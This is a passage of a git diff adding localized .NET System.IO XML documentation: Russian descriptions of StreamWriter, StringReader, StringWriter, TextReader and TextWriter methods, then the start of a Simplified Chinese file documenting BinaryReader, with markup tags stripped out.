+ имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + 1 + + + Записывает в поток массив символов. + Массив символов, содержащий записываемые в поток данные.Если имеет значение null, запись не выполняется. + Ошибка ввода-вывода. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + + имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + 1 + + + Записывает в поток дочерний массив символов. + Массив символов, содержащий записываемые данные. + Положение символа в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + + is null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + + имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + 1 + + + Записывает в поток строку. + Строка, записываемая в поток.Если равняется null, запись не выполняется. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + + имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + Ошибка ввода-вывода. + 1 + + + Асинхронно записывает символ в поток. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в поток. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает дочерний массив символов в поток. + Задача, представляющая асинхронную операцию записи. + Массив символов, содержащий записываемые данные. + Положение символа в буфере с которого начинается чтение данных. + Наибольшее количество символов для записи. + + is null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает строку в поток. + Задача, представляющая асинхронную операцию записи. + Строка, записываемая в поток.Если имеет значение null, запись не выполняется. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в поток признак конца строки. + Задача, представляющая асинхронную операцию записи. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в поток символ, за которым следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в поток. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронного записывает в поток дочерний массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + + is null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в поток строку, за которой следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если значение равно null, записывается только знак завершения строки. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Реализует класс , осуществляющий чтение из строки. + 2 + + + Инициализирует новый экземпляр класса , осуществляющий чтение из указанной строки. + Строка, для которой должен быть инициализирован класс . + Значение параметра — null. + + + Освобождает неуправляемые ресурсы, используемые (при необходимости освобождает и управляемые ресурсы). + Значение true позволяет освободить управляемые и неуправляемые ресурсы; значение false позволяет освободить только неуправляемые ресурсы. + + + Возвращает следующий доступный символ, но не использует его. + Целое число, представляющее следующий символ, чтение которого необходимо выполнить, или значение -1, если доступных символов больше нет или поток не поддерживает поиск. + Текущее средство чтения закрыто. + 2 + + + Считывает следующий символ из строки ввода и увеличивает позицию символа на один символ. + Следующий символ из основной строки или значение -1, если больше нет доступных символов. + Текущее средство чтения закрыто. + 2 + + + Считывает блок символов из строки ввода и увеличивает позицию символов на . + Общее количество символов, считанных в буфер.Оно может быть меньше, чем число запрошенных символов, если большинство символов не доступно в текущий момент, или равно нулю, если достигнут конец основной строки. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Начальный индекс в буфере. + Количество символов, которые необходимо считать. + Параметр имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Текущее средство чтения закрыто. + 2 + + + Асинхронно считывает указанное максимальное количество символов из текущей строки и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец строки. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Наибольшее число символов для чтения.Если конец строки достигнут, прежде чем в буфер записано указанное количество символов, метод возвращает управление. + Параметр имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Асинхронно считывает указанное максимальное количество символов из текущей строки и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец строки. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Наибольшее число символов для чтения.Если конец строки достигнут, прежде чем в буфер записано указанное количество символов, метод возвращает управление. + Параметр имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение строки символов из текущей строки и возвращает данные в виде строки. + Следующая строка из текущей строки, или значение null, если достигнут конец строки. + Текущее средство чтения закрыто. + Недостаточно памяти для размещения буфера возвращаемых строк. + 2 + + + Асинхронно выполняет чтение строки символов из текущей строки и возвращает данные в виде строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит следующую строку из средства чтения строк или значение null, если все знаки считаны. + Количество символов в следующей строке больше . + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение всех символов, начиная с текущей позиции до конца строки, и возвращает их в виде одной строки. + Содержимое, начиная от текущей позиции до конца основной строки. + Недостаточно памяти для размещения буфера возвращаемых строк. + Текущее средство чтения закрыто. + 2 + + + Асинхронно считывает все символы, начиная с текущей позиции до конца строки, и возвращает их в виде одной строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит строку с символами от текущего положения до конца строки. + Количество символов больше . + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Реализует для записи данных в строку.Данные хранятся в основном . + 2 + + + Инициализирует новый экземпляр класса . + + + Инициализирует новый экземпляр класса с указанным форматом объекта. + Объект , управляющий форматированием. + + + Инициализирует новый экземпляр класса , с помощью которого осуществляется запись в указанный класс . + Класс StringBuilder, в который осуществляется запись. + Параметр имеет значение null. + + + Инициализирует новый экземпляр класса , с помощью которого осуществляется запись в указанный класс и который имеет указанный формат поставщика. + Класс StringBuilder, в который осуществляется запись. + Объект , управляющий форматированием. + Параметр имеет значение null. + + + Освобождает неуправляемые (а при необходимости и управляемые) ресурсы, используемые объектом . + Значение true позволяет освободить управляемые и неуправляемые ресурсы; значение false позволяет освободить только неуправляемые ресурсы. + + + Получает кодировку , в которой осуществляется запись выходных данных. + Encoding, в которой осуществляется запись выходных данных. + 1 + + + Асинхронно очищает все буферы текущего средства записи и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + + + Возвращает основной . + Базовый StringBuilder. + 2 + + + Возвращает строку, содержащую символы, записанные до этого момента в текущий StringWriter. + Строка, содержащая символы, записанные в текущий StringWriter. + 2 + + + Записывает символ в строку. + Символ для записи. + Средство записи закрыто. + 2 + + + Записывает в строку дочерний массив символов. + Массив символов, из которого записываются данные. + Положение в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + Параметр имеет значение null. + Значение параметра или является отрицательным. + ( + )> .Length. + Средство записи закрыто. + 2 + + + Записывает строку в текущую строку. + Строка для записи. + Средство записи закрыто. + 2 + + + Выполняет асинхронную запись символа в строку. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в строку. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает дочерний массив символов в строку. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + Параметр имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Выполняет асинхронную запись строки в текущую строку. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если параметр имеет значение null, в текстовый поток ничего записано не будет. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в строку символ, за которым следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в строку. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронного записывает в строку дочерний массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + Параметр имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронного записывает в текущий поток строку, за которой следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если значение равно null, записывается только знак завершения строки. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Представляет средство чтения, позволяющее считывать последовательные наборы символов. + 2 + + + Инициализирует новый экземпляр класса . + + + Освобождает все ресурсы, используемые объектом . + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также и управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Предоставляет TextReader без данных, доступных для чтения. + 1 + + + Выполняет чтение следующего символа, не изменяя состояние средства чтения или источника символа.Возвращает следующий доступный символ, фактически не считывая его из средства чтения. + Целое число, представляющее следующий символ, чтение которого необходимо выполнить, или значение -1, если доступных символов больше нет или средство чтения не поддерживает поиск. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет чтение следующего символа из средства чтения текста и перемещает положение символа на одну позицию вперед. + Следующий символ из средства чтения текста или значение -1, если доступных символов больше нет.Реализация по умолчанию возвращает значение -1. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Считывает указанное максимальное количество символов из текущего средства чтения и записывает данные в буфер, начиная с заданного индекса. + Количество считанных символов.Количество будет меньше или равно в зависимости от доступности данных в средстве чтения.Этот метод возвращает 0 (нуль), если его вызвать при отсутствии символов, доступных для чтения. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец средства чтения достигнут, прежде чем в буфер считано указанное количество символов, метод возвращает управление. + Свойство имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Асинхронно считывает указанное максимальное количество символов из текущего средства чтения текста и записывает данные в буфер, начиная с указанного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец текста. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец текста достигнут, прежде чем указанное количество символов считывается в буфер, текущий метод возвращает управление. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает указанное максимальное количество символов из текущего средства чтения текста и записывает данные в буфер, начиная с заданного индекса. + Количество считанных символов.Число будет меньше или равно значению в зависимости от того, считаны ли все входящие символы. + При возвращении данного метода этот параметр содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов. + Свойство имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 2 + + + Асинхронно считывает указанное максимальное количество символов из текущего средства чтения текста и записывает данные в буфер, начиная с указанного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец текста. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец текста достигнут, прежде чем указанное количество символов считывается в буфер, текущий метод возвращает управление. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение строки символов из средства чтения текста и возвращает данные в виде строки. + Следующая строка из средства чтения, или значение null, если все символы считаны. + Ошибка ввода-вывода. + Недостаточно памяти для размещения буфера возвращаемых строк. + Объект закрыт. + Количество символов в следующей строке больше . + 1 + + + Асинхронно выполняет чтение строки символов и возвращает данные в виде строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит следующую строку из средства чтения текста или значение null, если все знаки считаны. + Количество символов в следующей строке больше . + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает все символы, начиная с текущей позиции до конца средства чтения текста, и возвращает их в виде одной строки. + Строка, содержащая все символы, начиная с текущей позиции до конца средства чтения текста. + Ошибка ввода-вывода. + Объект закрыт. + Недостаточно памяти для размещения буфера возвращаемых строк. + Количество символов в следующей строке больше . + 1 + + + Асинхронно считывает все символы с текущей позиции до конца средства чтения текста и возвращает их в виде одной строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит строку с символами от текущего положения до конца средства чтения текста. + Количество символов больше . + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Представляет модуль записи, который может записывать последовательные наборы символов.Это абстрактный класс. + 2 + + + Инициализирует новый экземпляр класса . + + + Инициализирует новый экземпляр класса указанным поставщиком формата. + Объект , управляющий форматированием. + + + Сохраняет символы новой строки, используемые для данного TextWriter. + + + Освобождает все ресурсы, используемые объектом . + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + При переопределении в производном классе возвращает кодировку символов, в которой записаны выходные данные. + Кодировка символов, в которой осуществляется запись выходных данных. + 1 + + + Очищает все буферы текущего модуля записи и вызывает немедленную запись всех буферизованных данных на базовое устройство. + 1 + + + Асинхронно очищает все буферы текущего средства записи и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + Удалено средство записи текста. + Средство записи в настоящее время используется предыдущей операцией записи. + + + Возвращает объект, управляющий форматированием. + Объект для указанного языка и региональных параметров или форматирование текущего языка и региональных параметров, если не заданы другие. + 2 + + + Возвращает или задает признак конца строки, используемой текущим TextWriter. + Признак конца строки для текущего TextWriter. + 2 + + + Предоставляет TextWriter без резервного хранилища, в который можно осуществлять запись, но из которого нельзя считывать данные. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения Boolean. + Значение Boolean для записи. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет запись символа в текстовую строку или поток. + Символ, записываемый в текстовый поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет запись массива символов в текстовую строку или поток. + Массив символов, записываемый в текстовый поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает дочерний массив символов в текстовую строку или поток. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается извлечение данных. + Количество символов для записи. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает текстовое представление десятичного значения в текстовую строку или поток. + Десятичное значение, которое необходимо записать. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 8 байт. + Записываемое значение с плавающей запятой размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 4 байта. + Записываемое целое число со знаком размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 8 байт. + Записываемое целое число со знаком размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление объекта с помощью вызова метода ToString для этого объекта. + Записываемый объект. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 4 байта. + Записываемое значение с плавающей запятой размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Асинхронно записывает строку в текстовую строку или поток. + Строка для записи. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 1). + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 2). + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Третий объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 3). + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Массив объектов, содержащий от нуля и более объектов, которые необходимо форматировать и записать. + Параметр или имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля), либо больше или равен длине массива . + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 4 байта. + Записываемое целое число без знака размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 8 байт. + Записываемое целое число без знака размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет асинхронную запись символа в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в текстовый поток. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Выполняет асинхронную запись массива символов в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Массив символов, записываемый в текстовый поток.Если имеет значение null, запись не выполняется. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает дочерний массив символов в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается извлечение данных. + Количество символов для записи. + Свойство имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Выполняет асинхронную запись строки в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если параметр имеет значение null, в текстовый поток ничего не записывается. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Записывает признак конца строки в текстовую строку или поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения Boolean, за которым следует признак конца строки. + Значение Boolean для записи. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток символ, за которым следует признак конца строки. + Символ, записываемый в текстовый поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток массив символов, за которыми следует признак конца строки. + Массив символов, из которого считываются данные. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток дочерний массив символов, за которыми следует признак конца строки. + Массив символов, из которого считываются данные. + Положение символа в , с которого начинается чтение данных. + Наибольшее количество символов для записи. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление десятичного значения, за которым следует признак конца строки. + Десятичное значение, которое необходимо записать. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 8 байта, за которым следует признак конца строки. + Записываемое значение с плавающей запятой размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 4 байта, за которым следует признак конца строки. + Записываемое целое число со знаком размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 8 байт, за которым следует признак конца строки. + Записываемое целое число со знаком размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление объекта путем вызова метода ToString для этого объекта, за которым следует признак конца строки. + Записываемый объект.Если имеет значение null, записывается только признак конца строки. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 4 байта, за которым следует признак конца строки. + Записываемое значение с плавающей запятой размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток строку, за которой следует признак конца строки. + Строка для записи.Если имеет значение null, записывается только признак конца строки. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает форматированную строку и новую строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 1). + 1 + + + Записывает форматированную строку и новую строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 2). + 1 + + + Записывает отформатированную строку и новую строку, используя ту же семантику, что и . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Третий объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 3). + 1 + + + Записывает отформатированную строку и новую строку, используя ту же семантику, что и . + Строка составного формата (см. примечания). + Массив объектов, содержащий от нуля и более объектов, которые необходимо форматировать и записать. + Строка или объект передаются в виде null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля), либо больше или равен длине массива . + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 4 байта, за которым следует признак конца строки. + Записываемое целое число без знака размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 8 байт, за которым следует признак конца строки. + Записываемое целое число без знака размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Асинхронно записывает признак конца строки в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток символ, за которым следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в текстовый поток. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, записываемый в текстовый поток.Если массив символов имеет значение null, записывается только признак конца строки. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток дочерний массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается извлечение данных. + Количество символов для записи. + Свойство имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток строку, за которой следует знак конца строки. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если значение равно null, записывается только знак конца строки. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netcore50/zh-hans/System.IO.xml b/packages/System.IO.4.3.0/ref/netcore50/zh-hans/System.IO.xml new file mode 100644 index 0000000..4b2e096 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netcore50/zh-hans/System.IO.xml @@ -0,0 +1,2237 @@ + + + + System.IO + + + + 用特定的编码将基元数据类型读作二进制值。 + 2 + + + 基于所指定的流和特定的 UTF-8 编码，初始化 类的新实例。 + 输入流。 + 该流不支持读取，为null 或已关闭。 + + + 基于所指定的流和特定的字符编码，初始化 类的新实例。 + 输入流。 + 要使用的字符编码。 + 该流不支持读取，为null 或已关闭。 + + 为 null。 + + + 基于所提供的流和特定的字符编码，初始化 类的新实例，有选择性的打开流。 + 输入流。 + 要使用的字符编码。 + 如果在释放 对象后保持流处于打开状态，则为 true；否则为 false。 + 该流不支持读取，为null 或已关闭。 + + 或 为 null。 + + + 公开对 的基础流的访问。 + 与 BinaryReader 关联的基础流。 + 2 + + + 释放 类的当前实例所使用的所有资源。 + + + 释放 类使用的非托管资源，并可以选择释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 用从流中读取的指定字节数填充内部缓冲区。 + 要读取的字节数。 + 在可以读取 之前到达了流的末尾。 + 发生 I/O 错误。 + 请求的 大于内部缓冲区大小。 + + + 返回下一个可用的字符，并且不提升字节或字符的位置。 + 下一个可用的字符，或者，如果没有可用字符或者流不支持查找时为 -1。 + 发生 I/O 错误。 + 当前字符无法通过使用为该流选择的 解码到内部字符缓冲区中。 + 2 + + + 从基础流中读取字符，并根据所使用的 Encoding 和从流中读取的特定字符，提升流的当前位置。 + 输入流中的下一个字符，如果当前无可用字符则为 -1。 + 发生 I/O 错误。 + 流已关闭。 + 2 + + + 从字节数组中的指定点开始，从流中读取指定的字节数。 + 读入 的字节数。如果可用的字节没有请求的那么多，此数可能小于所请求的字节数；如果到达了流的末尾，此数可能为零。 + 将数据读入的缓冲区。 + 缓冲区中的起始点，在该处开始读入缓冲区。 + 要读取的字节数。 + 缓冲区长度减去 小于 。- 或 -要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + + 为 null。 + + 或 为负。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从字符数组中的指定点开始，从流中读取指定的字符数。 + 读入缓冲区的总字符数。如果当前可用的字节没有请求的那么多，此数可能小于所请求的字符数；如果到达了流的末尾，此数可能为零。 + 将数据读入的缓冲区。 + 缓冲区中的起始点，在该处开始读入缓冲区。 + 要读取的字符数。 + 缓冲区长度减去 小于 。- 或 -要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + + 为 null。 + + 或 为负。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 以压缩格式读入 32 位整数。 + 压缩格式的 32 位整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 流已损坏。 + + + 从当前流中读取 Boolean 值，并使该流的当前位置提升 1 个字节。 + 如果字节为非零，则为 true，否则为 false。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取下一个字节，并使流的当前位置提升 1 个字节。 + 从当前流中读取的下一个字节。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取指定的字节数以写入字节数组中，并将当前位置前移相应的字节数。 + 